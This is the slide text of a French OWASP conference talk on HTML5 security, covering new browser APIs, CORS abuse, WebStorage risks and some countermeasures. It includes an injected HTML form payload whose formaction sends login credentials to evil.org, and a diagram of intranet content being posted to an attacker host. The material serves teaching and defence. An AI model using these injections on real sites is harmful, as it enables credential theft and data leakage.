SlideShare uma empresa Scribd logo
1 de 142
Baixar para ler offline
et	
  la	
  sécurité
                                                             un	
  point	
  d’étape
              Sébas3en	
  Gioria
              OWASP	
  France	
  Leader	
  
              GSDays	
  -­‐	
  4	
  Avril	
  2013	
  -­‐	
  Paris	
  -­‐	
  	
  France




Friday, April 5, 13
http://www.google.fr/#q=sebastien gioria
           ‣Consultant Indépendant en Sécurité Applicative
          ‣OWASP France Leader & Founder -
          Evangéliste

          ‣OWASP Global Education Comittee
          Member (sebastien.gioria@owasp.org)

           Twitter :@SPoint




Friday, April 5, 13                  2
Agenda



               • Un	
  peu	
  d’histoire
               • HTML5	
  pour	
  les	
  nuls	
  en	
  4mn	
  2s
               • Nouvelles	
  a;aques	
  et	
  protec>ons	
  ?
               • Références




  Oui,	
  vous	
  avez	
  bien	
  lu	
  quelque	
  chose	
  ici
                                                                           3

Friday, April 5, 13
Delorean	
  Passion



    1993
                                                                  1995        1998        2000                  2006                  2013

                                                                                        HTML	
  4.0                            HTML	
  5	
  ?

                      HTML	
  2.0                                                         CSS	
  2                              CSS	
  3

         HTML	
  1.0


                       JavaScript
                                                                            la	
  DOM
                                                                                                     XmlH;pRequest




  Il	
  n’y	
  aura	
  pas	
  d’éléphpants	
  dans	
  ce;e	
  présenta>on
                                                                                                                                                4

Friday, April 5, 13
Delorean	
  Passion



    1993
                                                                  1995        1998        2000                  2006                  2013

                                                                                        HTML	
  4.0                            HTML	
  5	
  ?

                      HTML	
  2.0                                                         CSS	
  2                              CSS	
  3

         HTML	
  1.0


                       JavaScript
                                                                            la	
  DOM
                                                                                                     XmlH;pRequest




  Il	
  n’y	
  aura	
  pas	
  d’éléphpants	
  dans	
  ce;e	
  présenta>on
                                                                                                                                                4

Friday, April 5, 13
Delorean	
  Passion



    1993
                                                                  1995        1998        2000                  2006                  2013

                                                                                        HTML	
  4.0                            HTML	
  5	
  ?

                      HTML	
  2.0                                                         CSS	
  2                              CSS	
  3

         HTML	
  1.0


                       JavaScript
                                                                            la	
  DOM
                                                                                                     XmlH;pRequest


                                                                                 20	
  ans,	
  noces	
  de	
  porcelaine...

  Il	
  n’y	
  aura	
  pas	
  d’éléphpants	
  dans	
  ce;e	
  présenta>on
                                                                                                                                                4

Friday, April 5, 13
L’état	
  de	
  la	
  norme




  par	
  contre	
  il	
  y	
  a	
  d’autres	
  animaux...
                                                                                          5

Friday, April 5, 13
Eléments	
  intéressants	
  de	
  HTML5




  mais	
  pas	
  dans	
  ce	
  slide
                                                                                 6

Friday, April 5, 13
4mn	
  2s



                                  • Nouvelles	
  balises
                                    – On	
  n’est	
  pas	
  la	
  pour	
  parler	
  de	
  peinture...

                                  • Nouvelles	
  APIs
                                    –WebSocket
                                    –WebMessaging
                                    –IndexedDB
                                    –OffLine	
  Web	
  ApplicaBon
                                    –WebStorage	
  (votre	
  nouveau	
  DropBox	
  ?	
  ...)
                                    –Cross	
  Origin	
  Ressource	
  Sharing	
  (déja	
  rien	
  que	
  le	
  nom	
  
                                       est	
  intéressant...)

  Ni	
  dans	
  celui	
  la....
                                                                                                                        7

Friday, April 5, 13
4mn	
  2s




                                • WebSocket : Permet d’effectuer des
                                  connexions persistantes et bi-
                                  directionnelles
                                             • mécanisme	
  de	
  “Push”	
  possible
                                             • interface	
  en	
  cours	
  de	
  finalisaBon/spécificaBons
                                             • nécessite	
  un	
  serveur	
  “compaBble”
                                             • API	
  minimaliste	
  (send,	
  receive	
  via	
  event)
                                             • hPp://www.w3.org/TR/websockets/

  en	
  meme	
  temps,	
  des	
  animaux	
  dans	
  ce;e	
  présenta>on	
  pourquoi	
  ?	
  
                                                                                                           8

Friday, April 5, 13
4mn	
  2s



                                • WebMessaging : communication inter-
                                  documents HTML
                                             • via	
  la	
  méthode	
  window.postMessage();
                                             • pas	
  de	
  garanBe	
  de	
  contenu	
  inoffensif	
  (ie;	
  pas	
  de	
  
                                               filtre	
  de	
  type	
  anB-­‐XSS	
  ....)
                                             • vérificaBon	
  de	
  l’origine	
  a	
  la	
  charge	
  de	
  
                                               l’applicaBon	
  receptrice.
                                             • il	
  est	
  possible	
  de	
  transporter	
  du	
  JSON	
  :)
                                             • hPp://www.w3.org/TR/webmessaging/
  tout	
  seimplement	
  parcequ’elle	
  a	
  été	
  finalisée	
  à	
  Paques
                                                                                                                             9

Friday, April 5, 13
4mn	
  2s


              • IndexedDB; la Web SQL Database...
                           •API	
  synchrone	
  et	
  asynchrone
                           •pensée	
  pour	
  JavaScript;	
  stockage	
  d’objets	
  
                           •hPp://www.w3.org/TR/IndexedDB/




  me;re	
  des	
  oeufs	
  était	
  difficile
                                                                                          10

Friday, April 5, 13
4mn	
  2s



               • Offline Web Applications: possibilité d’exécuter
                 tout ou partie des applications même non
                 connecté.
                             –via	
  navigator.onLine
                             –mise	
  en	
  cache	
  des	
  données	
  nécessaires(HTML,	
  CSS,	
  
                              JavaScript...)
                             –hPp://www.w3.org/TR/html5/offline.html




  et	
  du	
  chocolat	
  aussi
                                                                                                       11

Friday, April 5, 13
4mn	
  2s



                      • WebStorage : donne la capacité au
                        navigateur de stocker jusqu’a 5Mo à 10Mo
                        de données
                       • deux	
  type	
  de	
  stockage	
  :	
  local	
  ou	
  de	
  session
                       • possibilité	
  de	
  stocker	
  des	
  objets	
  JSON
                       • possibilité	
  de	
  stocker	
  de	
  manière	
  régulière
                       • hPp://www.w3.org/TR/webstorage/


                                                                                               12

Friday, April 5, 13
Sécurité	
  ?




                                      13

Friday, April 5, 13
Modèle	
  de	
  sécurité	
  HTML5



                            Interface	
  U>lisateur

                      Sandbox/SOP
                                       HTML/CSS

                          JavaScript                  HTTP/XHR/WebSockets
 Page/
 Appli                                                                  Internet
                                                DOM




                                                                                            14

Friday, April 5, 13
Modèle	
  de	
  sécurité	
  HTML5



                            Interface	
  U>lisateur

                      Sandbox/SOP
                                       HTML/CSS

                          JavaScript                  HTTP/XHR/WebSockets
 Page/
 Appli                                                                  Internet
                                                DOM




                                                                                            14

Friday, April 5, 13
Modèle	
  de	
  sécurité	
  HTML5



                            Interface	
  U>lisateur

                      Sandbox/SOP
                                       HTML/CSS

                          JavaScript                  HTTP/XHR/WebSockets
 Page/
 Appli                                                                  Internet
                                                DOM




                                                                                            14

Friday, April 5, 13
Modèle	
  de	
  sécurité	
  HTML5



                                  Interface	
  U>lisateur

                        Sandbox/SOP
                                             HTML/CSS

                               JavaScript                   HTTP/XHR/WebSockets
 Page/
 Appli                                                                        Internet
                                                      DOM




                      APIs	
  Stockage	
  
                      (Web,	
  SQL,	
  ..)
                                                                                                  14

Friday, April 5, 13
Modèle	
  de	
  sécurité	
  HTML5



                                  Interface	
  U>lisateur

                        Sandbox/SOP
                                             HTML/CSS

                               JavaScript                         HTTP/XHR/WebSockets
 Page/
 Appli                                                                              Internet
                                                      DOM




                      APIs	
  Stockage	
          API	
  GeoLoc
                      (Web,	
  SQL,	
  ..)
                                                                                                        14

Friday, April 5, 13
Modèle	
  de	
  sécurité	
  HTML5



                                  Interface	
  U>lisateur

                        Sandbox/SOP
                                             HTML/CSS

                               JavaScript                         HTTP/XHR/WebSockets
 Page/
 Appli                                                                              Internet
                                                      DOM




                      APIs	
  Stockage	
          API	
  GeoLoc   API	
  ...
                      (Web,	
  SQL,	
  ..)
                                                                                                            14

Friday, April 5, 13
FalsificaBon	
  de	
  Forms



         • Il	
  est	
  possible	
  de	
  contrôler	
  une	
  Forms	
  en	
  dehors	
  
           de	
  l’élément	
  “form”

                      <form id=“myform” action=“basic.php” >
                        <input type=“text” name=“user” value=“…” />
                      </form>

                      <input form=“myform” type=“submit” name=“…”
                          value=“Advanced Version”/>




                                                                                          15

Friday, April 5, 13
FalsificaBon	
  Forms



                      <form id=“login” action=“login.php” >
                        <input type=“text” name=“username” />
                        <input type=“password” name=“password” />
                        <input type=“submit” name=“…” value=“Login” />
                      </form>




                                                                                    16

Friday, April 5, 13
FalsificaBon	
  Forms



                      <form id=“login” action=“login.php” >
                        <input type=“text” name=“username” />
                        <input type=“password” name=“password” />
                        <input type=“submit” name=“…” value=“Login” />
                      </form>

                      Si	
  on	
  arrive	
  à	
  injecter	
  ce	
  code




                                                                                                 16

Friday, April 5, 13
FalsificaBon	
  Forms



                      <form id=“login” action=“login.php” >
                        <input type=“text” name=“username” />
                        <input type=“password” name=“password” />
                        <input type=“submit” name=“…” value=“Login” />
                      </form>

                      Si	
  on	
  arrive	
  à	
  injecter	
  ce	
  code

                      New VIP section of the site is open!
                      <input form=“login” type=“submit”
                         name=“Enter VIP section”
                         formaction=“http://evil.org/login.php” />




                                                                                                 16

Friday, April 5, 13
FalsificaBon	
  Forms



                      <form id=“login” action=“login.php” >
                        <input type=“text” name=“username” />
                        <input type=“password” name=“password” />
                        <input type=“submit” name=“…” value=“Login” />
                      </form>

                      Si	
  on	
  arrive	
  à	
  injecter	
  ce	
  code

                      New VIP section of the site is open!
                      <input form=“login” type=“submit”
                         name=“Enter VIP section”
                         formaction=“http://evil.org/login.php” />




                                                                                                 16

Friday, April 5, 13
FalsificaBon	
  Forms



                      <form id=“login” action=“login.php” >
                        <input type=“text” name=“username” />
                        <input type=“password” name=“password” />
                        <input type=“submit” name=“…” value=“Login” />
                      </form>

                      Si	
  on	
  arrive	
  à	
  injecter	
  ce	
  code

                      New VIP section of the site is open!
                      <input form=“login” type=“submit”
                         name=“Enter VIP section”
                         formaction=“http://evil.org/login.php” />



                                           Automa3quement,	
  evil.org	
  dispose	
  des	
  éléments	
  et	
  la	
  Forms	
  
                                           ini3ale	
  est	
  appelée



                                                                                                                                16

Friday, April 5, 13
Protocol/content	
  Handlers



                      • Il	
  est	
  possible	
  d’enregistrer	
  des	
  handlers	
  de	
  
                        protocole	
  ou	
  de	
  type	
  de	
  fichiers	
  
                        personalisés	
  
                             • sms://
                             • applica>on/pdf
                       Il	
  est	
  possible	
  (mais	
  pas	
  recommandé)	
  de	
  changer	
  
                       les	
  handlers	
  standards	
  (dépend	
  des	
  navigateurs)
                       Il	
  n’est	
  pas	
  obligatoire	
  de	
  demander	
  à	
  l’u3lisateur	
  
                       son	
  autorisa3on	
  


                                                                                                 17

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  1/4




                                      • XHR	
  ne	
  peut	
  dialoguer	
  qu’avec	
  le	
  site	
  Web	
  
                                        originaire	
  du	
  JavaScript




  non,	
  vous	
  avez	
  bien	
  lu...Un	
  boeuf	
  !	
  
                                                                                                                18

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  1/4




                                      • XHR	
  ne	
  peut	
  dialoguer	
  qu’avec	
  le	
  site	
  Web	
  
                                        originaire	
  du	
  JavaScript




  non,	
  vous	
  avez	
  bien	
  lu...Un	
  boeuf	
  !	
  
                                                                                                                18

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  1/4




                                      • XHR	
  ne	
  peut	
  dialoguer	
  qu’avec	
  le	
  site	
  Web	
  
                                        originaire	
  du	
  JavaScript

                                  Mais	
  c’etait	
  sans	
  compter	
  les	
  boeufs	
  !




  non,	
  vous	
  avez	
  bien	
  lu...Un	
  boeuf	
  !	
  
                                                                                                                                   18

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  1/4




                                      • XHR	
  ne	
  peut	
  dialoguer	
  qu’avec	
  le	
  site	
  Web	
  
                                        originaire	
  du	
  JavaScript

                                  Mais	
  c’etait	
  sans	
  compter	
  les	
  boeufs	
  !



                                                              HTTP/1.1 200 OK
                                                              Content-Type: text/html
                                                              Access-Control-Allow-Origin: http://internal.example.com




  non,	
  vous	
  avez	
  bien	
  lu...Un	
  boeuf	
  !	
  
                                                                                                                                    18

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                      Bypass	
  des	
  contrôles	
  d’accès
                                                                 poc.ckers.fr




           intranet                                                            19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                      Bypass	
  des	
  contrôles	
  d’accès
                                                                 poc.ckers.fr




           intranet                                                            19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                      Bypass	
  des	
  contrôles	
  d’accès
                                                                 poc.ckers.fr




           intranet                                                            19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                      Bypass	
  des	
  contrôles	
  d’accès
                                                                 poc.ckers.fr




           intranet                                                            19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                      Bypass	
  des	
  contrôles	
  d’accès
                                                                 poc.ckers.fr




           intranet                                                            19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                                         Bypass	
  des	
  contrôles	
  d’accès
                                                                                    poc.ckers.fr
                  GET	
  /	
  HTTP/1.1




           intranet                                                                               19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                                         Bypass	
  des	
  contrôles	
  d’accès
                                                                                    poc.ckers.fr
                  GET	
  /	
  HTTP/1.1




           intranet                                                                               19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                                                                         Bypass	
  des	
  contrôles	
  d’accès
                                                                                                                    poc.ckers.fr
                                         Access-­‐Control-­‐Allow-­‐Origin:	
  *
                  GET	
  /	
  HTTP/1.1



                                         HTTP/1.1	
  200	
  Ok




           intranet                                                                                                               19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                                                                         Bypass	
  des	
  contrôles	
  d’accès
                                                                                                                    poc.ckers.fr
                                         Access-­‐Control-­‐Allow-­‐Origin:	
  *
                  GET	
  /	
  HTTP/1.1



                                         HTTP/1.1	
  200	
  Ok




           intranet                                                                                                               19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                      Bypass	
  des	
  contrôles	
  d’accès
                                                                 poc.ckers.fr




           intranet                                                            19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                      Bypass	
  des	
  contrôles	
  d’accès
                                                                                poc.ckers.fr
                                                 	
  GET	
  /	
  HTTP/1.1	
  




           intranet                                                                       19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                      Bypass	
  des	
  contrôles	
  d’accès
                                                                                poc.ckers.fr
                                                 	
  GET	
  /	
  HTTP/1.1	
  




           intranet                                                                       19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                      Bypass	
  des	
  contrôles	
  d’accès
                                                                 poc.ckers.fr




           intranet                                                            19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                      Bypass	
  des	
  contrôles	
  d’accès
                                                                   poc.ckers.fr

                                        HTTP/1.1	
  200	
  Ok
                                        <script>XMLH;pRequest...




           intranet                                                            19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                      Bypass	
  des	
  contrôles	
  d’accès
                                                                   poc.ckers.fr

                                        HTTP/1.1	
  200	
  Ok
                                        <script>XMLH;pRequest...




           intranet                                                            19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                      Bypass	
  des	
  contrôles	
  d’accès
                                                                 poc.ckers.fr




           intranet                                                            19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                                Bypass	
  des	
  contrôles	
  d’accès
                                                                           poc.ckers.fr
               XMLHTTPRequest




           intranet                                                                      19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                                Bypass	
  des	
  contrôles	
  d’accès
                                                                           poc.ckers.fr
               XMLHTTPRequest




           intranet                                                                      19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                      Bypass	
  des	
  contrôles	
  d’accès
                                                                 poc.ckers.fr




           intranet                                                            19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                                                                Bypass	
  des	
  contrôles	
  d’accès
                                                                                                           poc.ckers.fr
                      Access-­‐Control-­‐Allow-­‐Origin:	
  *
                      HTTP/1.1	
  200	
  Ok




           intranet                                                                                                      19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                                                                Bypass	
  des	
  contrôles	
  d’accès
                                                                                                           poc.ckers.fr
                      Access-­‐Control-­‐Allow-­‐Origin:	
  *
                      HTTP/1.1	
  200	
  Ok




           intranet                                                                                                      19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                                                                Bypass	
  des	
  contrôles	
  d’accès
                                                                                                           poc.ckers.fr
                      Access-­‐Control-­‐Allow-­‐Origin:	
  *
                      HTTP/1.1	
  200	
  Ok




           intranet                                                                                                      19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                                                                Bypass	
  des	
  contrôles	
  d’accès
                                                                                                           poc.ckers.fr
                      Access-­‐Control-­‐Allow-­‐Origin:	
  *
                      HTTP/1.1	
  200	
  Ok




           intranet                                                                                                      19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                      Bypass	
  des	
  contrôles	
  d’accès
                                                                 poc.ckers.fr




           intranet                                                            19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  2/4



                      Bypass	
  des	
  contrôles	
  d’accès
                                                                                  poc.ckers.fr




                                       POST	
  /endpoint	
  HTTP/1.1
                                       .....(contenu	
  de	
  la	
  page	
  interne)




           intranet                                                                         19

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  3/4



                      DDOS	
  ?

                                                  poc.ckers.fr




                                     www.cible.com




                                                                20

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  3/4



                      DDOS	
  ?

                                                  poc.ckers.fr




                                     www.cible.com




                                                                20

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  3/4



                      DDOS	
  ?

                                                  poc.ckers.fr




                                     www.cible.com




                                                                20

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  3/4



                      DDOS	
  ?

                                                  poc.ckers.fr




                                     www.cible.com




                                                                20

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  3/4



                      DDOS	
  ?

                                                  poc.ckers.fr




                                     www.cible.com




                                                                20

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  3/4



                      DDOS	
  ?

                                                                 poc.ckers.fr
                                  	
  GET	
  /	
  HTTP/1.1	
  




                                       www.cible.com




                                                                           20

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  3/4



                      DDOS	
  ?

                                                                 poc.ckers.fr
                                  	
  GET	
  /	
  HTTP/1.1	
  




                                       www.cible.com




                                                                           20

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  3/4



                      DDOS	
  ?

                                                  poc.ckers.fr




                                     www.cible.com




                                                                20

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  3/4



                      DDOS	
  ?

                                                  poc.ckers.fr

                        HTTP/1.1	
  200	
  Ok
                        <iframe	
  src=...




                                          www.cible.com




                                                                20

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  3/4



                      DDOS	
  ?

                                                  poc.ckers.fr




                                     www.cible.com




                                                                20

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  3/4



                      DDOS	
  ?

                                                  poc.ckers.fr




                                     www.cible.com




                                                                20

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  3/4



                      DDOS	
  ?

                                                  poc.ckers.fr




                                     www.cible.com




                                                                20

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  3/4



                      DDOS	
  ?

                                                  poc.ckers.fr




                                     www.cible.com




                                                                20

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  3/4



                                          DDOS	
  ?

                                                                      poc.ckers.fr




                      XML
                            H;p
                                  Req
                                        uest             www.cible.com




                                                                                    20

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  3/4



                      DDOS	
  ?

                                                  poc.ckers.fr




                                     www.cible.com




                                                                20

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  3/4



                      DDOS	
  ?

                                                  poc.ckers.fr




                                     www.cible.com




                                                                20

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  3/4



                                               DDOS	
  ?

                                                                           poc.ckers.fr




                      XML
                            H;p                               www.cible.com
                                  Req
                                        uest




                                                                                         20

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  3/4



                      DDOS	
  ?

                                                  poc.ckers.fr




                                     www.cible.com




                                                                20

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  3/4



                      DDOS	
  ?

                                                  poc.ckers.fr




                                     www.cible.com




                                                                20

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  3/4



                                               DDOS	
  ?

                                                                           poc.ckers.fr




                                                              www.cible.com
                      XML
                            H;p
                                  Req
                                        uest



                                                                                         20

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  Sharing	
  3/4



                      DDOS	
  ?

                                                  poc.ckers.fr




                                     www.cible.com




                                                                20

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  

               • Contre-­‐mesures	
  :	
  
                              • RestricBon	
  du	
  domaine
                              • Ne	
  pas	
  faire	
  confiance	
  à	
  l’entete;	
  elle	
  peut	
  être	
  
                                modifiée	
  par	
  l’aPaquant.
                              • MePre	
  en	
  place	
  des	
  contre-­‐mesures	
  réseaux	
  




  franchement,	
  vous	
  avez	
  une	
  autre	
  réelle	
  solu>on	
  pour	
  les	
  DDOS	
  ?	
  =>	
  Venir	
  me	
  voir	
  a	
  la	
  fin	
  de	
  la	
  présenta>on	
  avec	
  votre	
  vraie	
  solu>on....
                                                                                                                                                                                                                                                  21

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  

               • Contre-­‐mesures	
  :	
  
                              • RestricBon	
  du	
  domaine
                              • Ne	
  pas	
  faire	
  confiance	
  à	
  l’entete;	
  elle	
  peut	
  être	
  
                                modifiée	
  par	
  l’aPaquant.
                              • MePre	
  en	
  place	
  des	
  contre-­‐mesures	
  réseaux	
  




  franchement,	
  vous	
  avez	
  une	
  autre	
  réelle	
  solu>on	
  pour	
  les	
  DDOS	
  ?	
  =>	
  Venir	
  me	
  voir	
  a	
  la	
  fin	
  de	
  la	
  présenta>on	
  avec	
  votre	
  vraie	
  solu>on....
                                                                                                                                                                                                                                                  21

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  

               • Contre-­‐mesures	
  :	
  
                              • RestricBon	
  du	
  domaine
                              • Ne	
  pas	
  faire	
  confiance	
  à	
  l’entete;	
  elle	
  peut	
  être	
  
                                modifiée	
  par	
  l’aPaquant.
                              • MePre	
  en	
  place	
  des	
  contre-­‐mesures	
  réseaux	
  

                                                                            pour	
  les	
  DDOS




  franchement,	
  vous	
  avez	
  une	
  autre	
  réelle	
  solu>on	
  pour	
  les	
  DDOS	
  ?	
  =>	
  Venir	
  me	
  voir	
  a	
  la	
  fin	
  de	
  la	
  présenta>on	
  avec	
  votre	
  vraie	
  solu>on....
                                                                                                                                                                                                                                                  21

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  

               • Contre-­‐mesures	
  :	
  
                              • RestricBon	
  du	
  domaine
                              • Ne	
  pas	
  faire	
  confiance	
  à	
  l’entete;	
  elle	
  peut	
  être	
  
                                modifiée	
  par	
  l’aPaquant.
                              • MePre	
  en	
  place	
  des	
  contre-­‐mesures	
  réseaux	
  

                                                                            pour	
  les	
  DDOS




  franchement,	
  vous	
  avez	
  une	
  autre	
  réelle	
  solu>on	
  pour	
  les	
  DDOS	
  ?	
  =>	
  Venir	
  me	
  voir	
  a	
  la	
  fin	
  de	
  la	
  présenta>on	
  avec	
  votre	
  vraie	
  solu>on....
                                                                                                                                                                                                                                                  21

Friday, April 5, 13
Cross	
  Origin	
  Resource	
  

               • Contre-­‐mesures	
  :	
  
                              • RestricBon	
  du	
  domaine
                              • Ne	
  pas	
  faire	
  confiance	
  à	
  l’entete;	
  elle	
  peut	
  être	
  
                                modifiée	
  par	
  l’aPaquant.
                              • MePre	
  en	
  place	
  des	
  contre-­‐mesures	
  réseaux	
  

                                                                            pour	
  les	
  DDOS


                                                                                                                                                      débrancher	
  le	
  cable....
  franchement,	
  vous	
  avez	
  une	
  autre	
  réelle	
  solu>on	
  pour	
  les	
  DDOS	
  ?	
  =>	
  Venir	
  me	
  voir	
  a	
  la	
  fin	
  de	
  la	
  présenta>on	
  avec	
  votre	
  vraie	
  solu>on....
                                                                                                                                                                                                                                                  21

Friday, April 5, 13
WebStorage



         • Pas	
  de	
  contrôle	
  de	
  la	
  part	
  de	
  l’u>lisateur	
  sur	
  ce	
  
           qui	
  est	
  stocké/accéder
                ➡DOS	
  via	
  les	
  disques	
  par	
  remplissage
         • L’injec>on	
  de	
  Javascript	
  peut	
  bypasser	
  la	
  
              limita>on	
  du	
  contrôle	
  d’accès.
                ➡Vol	
  de	
  Sessions
                ➡Vol	
  de	
  données	
  sensibles
                ➡Tracking	
  d’uBlisateurs

                                                                                              22

Friday, April 5, 13
All	
  you	
  disk	
  is	
  belong	
  to	
  US	
  ?




  bon,	
  oui,	
  la	
  vidéo	
  a	
  été	
  faite	
  hier...mais	
  c’etait	
  pour	
  éviter	
  l’effet	
  démo
                                                                                                                                                                     23

Friday, April 5, 13
All	
  you	
  disk	
  is	
  belong	
  to	
  US	
  ?



                • Par	
  défaut	
  WebStorage	
  limite	
  a	
  quelques	
  méga	
  
                  l’espace	
  disque	
  par	
  origine	
  (2.5Mb	
  à	
  10Mb)	
  




  bon,	
  oui,	
  la	
  vidéo	
  a	
  été	
  faite	
  hier...mais	
  c’etait	
  pour	
  éviter	
  l’effet	
  démo
                                                                                                                                                                     23

Friday, April 5, 13
All	
  you	
  disk	
  is	
  belong	
  to	
  US	
  ?



                • Par	
  défaut	
  WebStorage	
  limite	
  a	
  quelques	
  méga	
  
                  l’espace	
  disque	
  par	
  origine	
  (2.5Mb	
  à	
  10Mb)	
  
                • La	
  norme	
  dit	
  que	
  chaque	
  origine	
  n’a	
  pas	
  
                  forcément	
  5Mb.	
  Mais...




  bon,	
  oui,	
  la	
  vidéo	
  a	
  été	
  faite	
  hier...mais	
  c’etait	
  pour	
  éviter	
  l’effet	
  démo
                                                                                                                                                                     23

Friday, April 5, 13
All	
  you	
  disk	
  is	
  belong	
  to	
  US	
  ?



                • Par	
  défaut	
  WebStorage	
  limite	
  a	
  quelques	
  méga	
  
                  l’espace	
  disque	
  par	
  origine	
  (2.5Mb	
  à	
  10Mb)	
  
                • La	
  norme	
  dit	
  que	
  chaque	
  origine	
  n’a	
  pas	
  
                  forcément	
  5Mb.	
  Mais...




  bon,	
  oui,	
  la	
  vidéo	
  a	
  été	
  faite	
  hier...mais	
  c’etait	
  pour	
  éviter	
  l’effet	
  démo
                                                                                                                                                                     23

Friday, April 5, 13
All	
  you	
  disk	
  is	
  belong	
  to	
  US	
  ?



                • Par	
  défaut	
  WebStorage	
  limite	
  a	
  quelques	
  méga	
  
                  l’espace	
  disque	
  par	
  origine	
  (2.5Mb	
  à	
  10Mb)	
  
                • La	
  norme	
  dit	
  que	
  chaque	
  origine	
  n’a	
  pas	
  
                  forcément	
  5Mb.	
  Mais...




  bon,	
  oui,	
  la	
  vidéo	
  a	
  été	
  faite	
  hier...mais	
  c’etait	
  pour	
  éviter	
  l’effet	
  démo
                                                                                                                                                                     23

Friday, April 5, 13
All	
  you	
  disk	
  is	
  belong	
  to	
  US	
  ?



                • Par	
  défaut	
  WebStorage	
  limite	
  a	
  quelques	
  méga	
  
                  l’espace	
  disque	
  par	
  origine	
  (2.5Mb	
  à	
  10Mb)	
  
                • La	
  norme	
  dit	
  que	
  chaque	
  origine	
  n’a	
  pas	
  
                  forcément	
  5Mb.	
  Mais...


                   • En	
  cours	
  de	
  correc>on,	
  mais	
  démonstra>on	
  
                     intéressante....
                   • Tests	
  à	
  h;p://www.filldisk.com/

  bon,	
  oui,	
  la	
  vidéo	
  a	
  été	
  faite	
  hier...mais	
  c’etait	
  pour	
  éviter	
  l’effet	
  démo
                                                                                                                                                                     23

Friday, April 5, 13
WebStorage


                                • Tracking	
  User


                                                                                       Les	
  localStorage	
  ne	
  sont	
  pas	
  forcément	
  effacés	
  lorsqu’on	
  efface	
  
                                                                                       l’historique	
  (ni	
  quand	
  on	
  qui]e	
  le	
  navigateur)




  J’en	
  connais	
  plusieurs	
  qui	
  vont	
  ouvrir	
  FireBug	
  rapidement....
                                                                                                                                                                                   24

Friday, April 5, 13
WebStorage


                                • Tracking	
  User


                                                                                       Les	
  localStorage	
  ne	
  sont	
  pas	
  forcément	
  effacés	
  lorsqu’on	
  efface	
  
                                                                                       l’historique	
  (ni	
  quand	
  on	
  qui]e	
  le	
  navigateur)




  J’en	
  connais	
  plusieurs	
  qui	
  vont	
  ouvrir	
  FireBug	
  rapidement....
                                                                                                                                                                                   24

Friday, April 5, 13
WebStorage


                                • Tracking	
  User


                                                                                       Les	
  localStorage	
  ne	
  sont	
  pas	
  forcément	
  effacés	
  lorsqu’on	
  efface	
  
                                                                                       l’historique	
  (ni	
  quand	
  on	
  qui]e	
  le	
  navigateur)




                                                                Il	
  est	
  donc	
  possible	
  de	
  créer	
  des	
  iden3fiants	
  (de	
  type	
  cookies)	
  
                                                                persistants	
  perme]ant	
  de	
  suivre	
  l’u3lisateur




  J’en	
  connais	
  plusieurs	
  qui	
  vont	
  ouvrir	
  FireBug	
  rapidement....
                                                                                                                                                                                   24

Friday, April 5, 13
WebSocket	
  API	
  :)



                                  • Possible	
  entre	
  différents	
